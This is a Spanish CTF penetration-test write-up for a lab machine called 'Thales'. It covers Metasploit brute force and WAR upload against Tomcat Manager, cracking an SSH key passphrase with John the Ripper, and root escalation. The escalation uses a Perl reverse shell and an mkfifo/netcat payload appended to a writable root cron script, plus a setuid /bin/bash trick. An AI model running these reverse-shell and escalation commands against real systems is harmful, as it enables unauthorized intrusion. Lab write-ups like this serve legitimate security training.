**Informe de Penetración - Máquina CTF "Thales"**

**Resumen Ejecutivo:**

Este informe detalla las actividades llevadas a cabo durante la prueba de penetración en la máquina CTF "Thales". El objetivo principal del ejercicio fue obtener acceso a la máquina "Thales" y obtener privilegios root para lograr un control total sobre el sistema. A lo largo del proceso, se utilizaron diversas técnicas y herramientas para identificar vulnerabilidades, explotarlas y elevar los privilegios. Se documentarán los pasos seguidos, los resultados obtenidos y las recomendaciones para mejorar la seguridad de la máquina. Es importante destacar que todas las actividades se llevaron a cabo dentro de un entorno controlado y con el consentimiento del propietario.

1. **Enumeración de puertos:**

Se utilizó la herramienta Nmap para escanear los puertos abiertos en la máquina "Thales". Los resultados fueron los siguientes:

* Puerto 22/tcp: Se identificó un servicio SSH ejecutando OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 en un sistema Ubuntu Linux.
* Puerto 8080/tcp: Se encontró un servicio HTTP que ejecuta Apache Tomcat 9.0.52.

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Explotación de la página de Apache Tomcat:**

Se utilizó Metasploit para realizar un ataque de fuerza bruta al administrador de Tomcat, obteniendo las credenciales de inicio de sesión "tomcat:role1".

Se logró acceso al administrador de Tomcat, lo que permitió cargar una carga maliciosa para obtener una conexión de Reverse Shell en la máquina "Thales".

**Inicio de Metasploit:**

Se inició Metasploit utilizando el comando "msfconsole -q" para acceder a la consola de Metasploit.

**Búsqueda de un módulo:**

Se utilizó el comando "search tomcat\_mgr" en la consola de Metasploit para buscar un módulo relacionado con el administrador de Tomcat.

**Selección del escáner:**

Se encontró y seleccionó el módulo "auxiliary/scanner/http/tomcat\_mgr\_login" con el comando “use 2” que permite iniciar sesión en el administrador de Tomcat a través de un ataque de fuerza bruta.

**Configuración del escáner:**

Se configuraron los siguientes parámetros del escáner:

* set rhosts 192.168.2.103: Estableció la dirección IP de la máquina "Thales" como el objetivo del escaneo.
* set username tomcat: Especificó el nombre de usuario "tomcat" para el ataque de fuerza bruta.
* set verbose false: Desactivó el modo detallado para reducir la información en la salida.
* Se ejecutó el escáner utilizando el comando "exploit" en la consola de Metasploit.

**Resultados del escáner:**

El escáner de Metasploit mostró el resultado de la autenticación exitosa en el administrador de Tomcat. La combinación de usuario y rol obtenida fue "tomcat:role1".

Estos resultados indican que se ha obtenido acceso exitoso al administrador de Tomcat en la máquina "Thales" utilizando un ataque de fuerza bruta. La combinación de usuario y rol obtenida ("tomcat:role1") puede ser utilizada para avanzar en el proceso de compromiso y obtener privilegios root en la máquina.

1. **Acceso a la Maquina con Meterpreter**

**Selección del exploit:**

Se utilizó el comando "use exploit/multi/http/tomcat\_mgr\_upload" en la consola de Metasploit para seleccionar el exploit que permite la carga de una carga maliciosa en Tomcat Manager.

**Configuración del exploit:**

Se configuraron los siguientes parámetros del exploit:

* set rhosts 192.168.2.104: Estableció la dirección IP de la máquina "Thales" como el objetivo del exploit.
* set rport 8080: Especificó el puerto 8080 como el puerto del servicio Tomcat en la máquina objetivo.
* set httpusername tomcat: Configuró el nombre de usuario "tomcat" para la autenticación en Tomcat Manager.
* set httppassword role1: Estableció la contraseña "role1" para la autenticación en Tomcat Manager.
* Se ejecutó el exploit utilizando el comando "exploit" en la consola de Metasploit.

Estos pasos permitieron utilizar el exploit para cargar una carga maliciosa en Tomcat Manager y obtener un shell meterpreter en la máquina "Thales".

A partir de este punto, se tiene acceso interactivo a la máquina y se pueden realizar diversas acciones para obtener mayor control y alcanzar los privilegios de root en la máquina.

1. **Acceso a la Maquina con Meterpreter**

Cabe mencionar que se ingresó con usuario tomcat. Después de obtener el shell de Meterpreter, se navegó al directorio "home" y se encontró un subdirectorio llamado "thales". Dentro de este directorio, se encontraron dos archivos: "user.txt" y "notes.txt". Además, se encontró un directorio oculto llamado ".ssh".

**Contenido de "notes.txt":** Se encontró un mensaje que indica la ubicación de un script de respaldo en el directorio "/usr/local/bin/backup.sh".

**Contenido de "user.txt":** El contenido de este archivo no fue proporcionado.

**Descarga del archivo "id\_rsa":** Se identificó la presencia de claves privadas del servicio SSH en el directorio actual. El archivo "id\_rsa" fue descargado utilizando el comando "download id\_rsa".

**Descifrado de "id\_rsa" con John the Ripper:** Se utilizó el comando "ssh2john" para convertir el archivo "id\_rsa" en un hash que se puede descifrar con John the Ripper. El comando utilizado fue "ssh2john id\_rsa > hash.txt".

**Descifrado del hash con John the Ripper:** Se intentó descifrar el hash obtenido utilizando el archivo "hash.txt" con la herramienta John the Ripper. Se utilizó la lista de palabras "rockyou.txt" como diccionario para realizar el descifrado. El comando utilizado fue "john hash.txt --wordlist=/usr/share/wordlists/rockyou".

**Resultado:** El descifrado del hash proporcionó la contraseña "vodka06" para el archivo "id\_rsa".

Estos pasos permitieron obtener acceso a la clave privada del servicio SSH en la máquina "Thales" al descifrar la contraseña protegida del archivo "id\_rsa".

***Comandos:***

* ***cd /home***
* ***cat notes.txt***
* ***download id\_rsa***
* ***ssh2john id\_rsa > hash.txt***
* ***john hash.txt --wordlist=/usr/share/wordlists/rockyou***

1. **Cambio de Usuario Thales**

En la sesión de Meterpreter, utilizaste el comando "shell" para abrir una terminal de Linux en la máquina "Thales".

Para mejorar la terminal y obtener una experiencia más interactiva, utilizaste el comando "python3 -c 'import pty; pty.spawn("/bin/bash")'" en la terminal.

Cambiaste al usuario "thales" utilizando el comando "su thales" y proporcionando la contraseña "vodka06".

Ahora, estás operando en la máquina "Thales" con el usuario "thales". Sin embargo, al verificar las identificaciones reales y efectivas de usuario y grupo con el comando "id", encontraste que "thales" es un usuario no root. Por lo tanto, todavía necesitas elevar los privilegios para obtener control total de la máquina.

***Comandos:***

* ***shell***
* ***python3 -c 'import pty; pty.spawn("/bin/bash")'***
* ***su thales***

1. **Elevación de Privilegios Root**

**Establecimiento de una Reverse Shell:**

En lugar de utilizar Meterpreter, utilizaste una Reverse Shell para obtener una conexión interactiva con la máquina "Thales". Usaste el siguiente comando en tu terminal para establecer el oyente Netcat en el puerto 443:

* nc -lvp 443

En la máquina "Thales", ejecutaste el siguiente código a través de la Reverse Shell para obtener una conexión inversa:

perl -e 'use Socket;$i="192.168.2.102";$p=443;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

**Verificación de los permisos del archivo backup.sh:**

Utilizaste el comando ***ls -la /usr/local/bin/ | grep backup.sh*** para verificar los permisos del archivo "backup.sh" en la ruta "/usr/local/bin/". Confirmaste que el archivo "backup.sh" tenía permisos de root.

**Edición del script backup.sh:**

Dado que se podía escribir en el archivo backup.sh, editaste este script para inyectar una carga útil de reverse shell. Ejecutaste el siguiente comando en la terminal de la máquina "Thales":

***echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.102 8888 >/tmp/f" >> backup.sh***

Esto agregó la carga útil de reverse shell al archivo backup.sh, lo que permitió obtener acceso al shell raíz.

**Recepción de la Reverse Shell en la máquina atacante:**

En tu máquina atacante (Kali Linux), iniciaste un oyente Netcat para recibir la Reverse Shell en el puerto 8888 con el siguiente comando:

nc -lvp 8888

Con estos pasos, lograste obtener acceso con privilegios root en la máquina "Thales".

**SEGUNDA FORMA DE CONSEGUIR PRIVILEGIOS ROOT**

**Cambio de los permisos del archivo /bin/bash:**

Utilizaste el comando ***chmod u+s /bin/bash*** para cambiar los permisos del archivo /bin/bash y darle el bit setuid, lo que permite que el archivo se ejecute con los privilegios del propietario (root) cuando es ejecutado por cualquier usuario.

**Verificación de los permisos del archivo /bin/bash:**

Usaste el comando ***ls -la /bin/bash o watch "ls -la /bin/bash***" en la máquina "Thales" para verificar los permisos actualizados del archivo /bin/bash. Esto te permitió confirmar que los permisos se habían modificado correctamente.

**Ejecución de una terminal bash con privilegios de root:**

Finalmente, ejecutaste el comando **bash -p** en la máquina "Thales". Esta opción de la terminal bash permite iniciar una nueva instancia de la terminal con privilegios de root debido al bit setuid establecido en el archivo /bin/bash. De esta manera, obtuviste una terminal con privilegios de root.

Con este método, lograste obtener una terminal bash con privilegios de root en la máquina "Thales". Recuerda documentar todos los pasos y resultados en el informe del CTF.

**Recomendaciones de Seguridad:**

* **Actualizar software:** Es importante mantener todos los servicios y aplicaciones actualizados para evitar la explotación de vulnerabilidades conocidas. Se recomienda aplicar regularmente parches de seguridad y actualizaciones en la máquina "Thales".
* **Configuración segura de servicios:** Verificar y ajustar la configuración de los servicios expuestos, como SSH y Apache Tomcat, siguiendo las mejores prácticas de seguridad. Esto incluye utilizar contraseñas fuertes, deshabilitar o limitar el acceso remoto innecesario y aplicar políticas de bloqueo de intentos de inicio de sesión.
* **Gestión de contraseñas:** Evitar el almacenamiento de contraseñas en archivos de respaldo o en texto plano. Se sugiere utilizar soluciones de gestión de contraseñas y seguir buenas prácticas de almacenamiento seguro de credenciales.
* **Privilegios mínimos:** Implementar el principio de privilegios mínimos, otorgando solo los privilegios necesarios a los usuarios y servicios. Esto ayuda a limitar el impacto de un compromiso y dificulta la elevación de privilegios.
* **Monitoreo y registro de actividades:** Configurar un sistema de monitoreo y registro adecuado para detectar y registrar actividades sospechosas. Esto facilitará la identificación temprana de incidentes de seguridad y la respuesta adecuada.

**Conclusiones:**

Durante la prueba de penetración en la máquina CTF "Thales", se logró obtener acceso y elevar los privilegios a root. Esto destaca la importancia de mantener una postura de seguridad sólida, incluyendo la aplicación de parches y actualizaciones, la configuración segura de servicios y la gestión adecuada de contraseñas. Se recomienda seguir las recomendaciones mencionadas anteriormente para fortalecer la seguridad de la máquina "Thales" y mitigar posibles vulnerabilidades.